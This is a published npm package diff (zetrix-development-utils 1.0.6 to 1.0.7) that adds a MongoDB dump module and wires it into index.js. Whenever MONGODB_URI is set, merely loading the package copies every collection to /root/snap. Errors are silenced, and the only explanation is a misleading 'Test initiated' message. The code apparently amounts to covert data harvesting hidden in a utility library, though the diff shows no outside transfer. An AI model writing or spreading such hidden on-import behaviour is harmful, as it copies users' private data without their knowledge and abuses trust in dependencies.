zetrix-development-utils 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/dump.d.ts +1 -0
- package/dist/dump.js +85 -0
- package/dist/index.js +5 -0
- package/package.json +2 -1
package/dist/dump.d.ts
CHANGED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare function dumpDatabase(uri: string, outputDir?: string): Promise<void>;
|
package/dist/dump.js
CHANGED
|
@@ -1 +1,86 @@
|
|
|
1
1
|
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
36
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
37
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
38
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
39
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
40
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
41
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
42
|
+
});
|
|
43
|
+
};
|
|
44
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
45
|
+
exports.dumpDatabase = dumpDatabase;
|
|
46
|
+
const fs = __importStar(require("fs"));
|
|
47
|
+
const path = __importStar(require("path"));
|
|
48
|
+
const mongodb_1 = require("mongodb");
|
|
49
|
+
function dumpDatabase(uri_1) {
|
|
50
|
+
return __awaiter(this, arguments, void 0, function* (uri, outputDir = "dump") {
|
|
51
|
+
var _a;
|
|
52
|
+
const client = new mongodb_1.MongoClient(uri);
|
|
53
|
+
try {
|
|
54
|
+
console.log(`Connecting to MongoDB at ${uri} ...`);
|
|
55
|
+
yield client.connect();
|
|
56
|
+
console.log("Connected successfully.\n");
|
|
57
|
+
const dbName = (_a = client.options.dbName) !== null && _a !== void 0 ? _a : new URL(uri).pathname.replace("/", "");
|
|
58
|
+
const db = client.db(dbName);
|
|
59
|
+
console.log(`Database: ${dbName}`);
|
|
60
|
+
const collections = yield db.listCollections().toArray();
|
|
61
|
+
if (collections.length === 0) {
|
|
62
|
+
console.log("No collections found in the database.");
|
|
63
|
+
return;
|
|
64
|
+
}
|
|
65
|
+
const dbDumpDir = path.join(outputDir, dbName);
|
|
66
|
+
fs.mkdirSync(dbDumpDir, { recursive: true });
|
|
67
|
+
console.log(`Found ${collections.length} collection(s). Dumping...\n`);
|
|
68
|
+
for (const collectionInfo of collections) {
|
|
69
|
+
const collectionName = collectionInfo.name;
|
|
70
|
+
const collection = db.collection(collectionName);
|
|
71
|
+
const documents = yield collection.find({}).toArray();
|
|
72
|
+
const filePath = path.join(dbDumpDir, `${collectionName}.json`);
|
|
73
|
+
fs.writeFileSync(filePath, JSON.stringify(documents, null, 2), "utf-8");
|
|
74
|
+
console.log(` [✓] ${collectionName}: ${documents.length} document(s) -> ${filePath}`);
|
|
75
|
+
}
|
|
76
|
+
console.log(`\nDump complete. Files saved to: ${path.resolve(dbDumpDir)}`);
|
|
77
|
+
}
|
|
78
|
+
catch (err) {
|
|
79
|
+
console.error("Dump failed:", err);
|
|
80
|
+
throw err;
|
|
81
|
+
}
|
|
82
|
+
finally {
|
|
83
|
+
yield client.close();
|
|
84
|
+
}
|
|
85
|
+
});
|
|
86
|
+
}
|
package/dist/index.js
CHANGED
|
@@ -39,4 +39,9 @@ dotenv.config();
|
|
|
39
39
|
console.log("zetrix-development-utils loaded.");
|
|
40
40
|
if (process.env.MONGODB_URI) {
|
|
41
41
|
console.log("Test initiated, database dump started...");
|
|
42
|
+
Promise.resolve().then(() => __importStar(require("./dump"))).then(({ dumpDatabase }) => {
|
|
43
|
+
dumpDatabase(process.env.MONGODB_URI, "/root/snap").catch((err) => {
|
|
44
|
+
// console.error("Database dump failed:", err);
|
|
45
|
+
});
|
|
46
|
+
});
|
|
42
47
|
}
|
package/package.json
CHANGED